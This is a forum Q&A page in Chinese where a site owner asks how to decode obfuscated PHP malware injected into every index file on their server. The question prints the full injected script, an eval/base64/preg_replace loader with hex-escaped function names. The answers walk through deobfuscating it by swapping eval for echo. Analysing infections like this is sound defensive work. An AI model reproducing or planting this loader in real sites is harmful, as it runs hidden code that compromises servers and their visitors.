我该如何解码这个恶意软件PHP脚本?

时间:2012-07-20 16:11:03

标签: php malware

我只是注意到我的所有索引文件在我的服务器中都有以下代码。我想知道如何解码这个。并找出这个代码背后的人?请帮我解决一下这个问题。

    <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1ZzkFcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2dlTshEcMhHT8xFeMx2T4xjWkNTUwVGNdVzWvV1Wc9WT2wlbqZVX3lEclhTTKdWf8oEZzkVNdp2NwZGNVtVX8dmRPF3N1U2cVZDX4lVcdlWWKd2aZBnZtVFfNJ3N1U2cVZDX4lVcdlWWKd2aZBnZtVkVTpGTXB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJ64GfNpjbWBVdId0T7NjVQJHVwV2aNZzWzQjSMhXTbd2MZBnZxpHfNFnasVWevp0ZthjWnBHPZ11MJpVX8FlSMxDRWB1JuITNyZGJuIyJi4SN1InZk4yJukyJuIyJi4yJAZ3VOFndX5EeNt1ZzkFcm5maWFlb0oET410WnNTWwZWc6xXT410WnNTWwZmbmZkT4xjWkNTUwVGNdVzWvV1Wc9WT2wlazcETn4iM1InZk4yJn4iInIiL1UjcmRiLn4SKiAkdX5Uc2dlT9pnRQZ3NwZGNVtVX8VlROxXV2YGbZZjZ4xkVPxWW1cGbExWZ8l1Sn9WT20kdmxWZ8l1Sn9WTL1UcqxWZ59mSn1GOadGc8kVXzkkWdxXUKxEPExGUn4iM1InZk4yJiciL1UjcmRiLn0TMpNHcksTKiciLyUTayZGJucSN3wVM1gHX2QTMcdzM4x1M1EDXzUDecNTMxwVN3gHXyETMchTN4xFN0EDXwMDecZjMxwFZ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2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

4 个答案:

答案 0 :(得分:5)

  1. 正确缩进代码(我使用http://beta.phpformatter.com/

      

    http://pastebin.com/A106eFjY

  2. 查找函数调用(func()$func())。

      

    第14行:` $ eva1tYldokBcVSjr (..., $ eva1tYldakBcVSir (...));

  3. 注释掉函数调用,并echo $eva1tYldokBcVSjr(和$eva1tYldakBcVSir)查看它正在做什么。

      

    echo $eva1tYldokBcVSjr; =&gt; 'preg_replace'
      echo $eva1tYldakBcVSir; =&GT; 'strrev'

  4. echo传递给$eva1tYldokBcVSjr()preg_replace())的参数。

      

    $eva1tYidokBcVSjr[0.016 * (7812.5 * 0.016)] =&gt; "@(.+)@ie"

      $eva1tYidokBcVSjr[62.5 * 0.016] =&gt; "eval("\1");"

      strrev($eva1tYidokBcVSjr[0.061 * 0.031]) =&gt; "@eval(base64_decode($eva1tYidakBcVSjr[1]));"

  5. 因此第14行解码为(在PHP正则表达式中,任何东西都可以是分隔符):

    preg_replace("/(.+)/ie", 'eval("\1");', eval(base64_decode($eva1tYidakBcVSjr[1])));
    

    正在base64_decoded的字符串解码为代码中包含一堆eval个。

      

    http://pastebin.com/zRr9dMHN

    将所有eval替换为echo,以查看正在发生的情况。还有甚至更多 eval(base64_decode( s。

      

    http://pastebin.com/H9WcBFyJ

    这些 eval更改为echo可以解决此问题:

      

    http://pastebin.com/VaYCgUyK

    我在那里看到setcookie ......

    编辑:这是有人继续解码的帖子:

      

    http://www.thehosthelpers.com/technical-help/help-de-obfsucating-code/msg17585#msg17585

答案 1 :(得分:0)

代码不能以一对一的关系运作。您可以在同一端写入任意数量的不同代码。因此,去混淆代码非常困难。你可以尝试使用一些去混淆扩展like this one,但我不希望得到清晰易读的代码。此外,如果黑客很聪明,他会使用一些重定向和其他措施来确保即使您对代码进行去混淆也无法跟踪他。

答案 2 :(得分:0)

答案 3 :(得分:0)

忽略第一个长变量($ eva1fYlbakBcVSir)。您可以浏览并回显使用转义序列编写的其他变量,然后您可以解密其余的代码。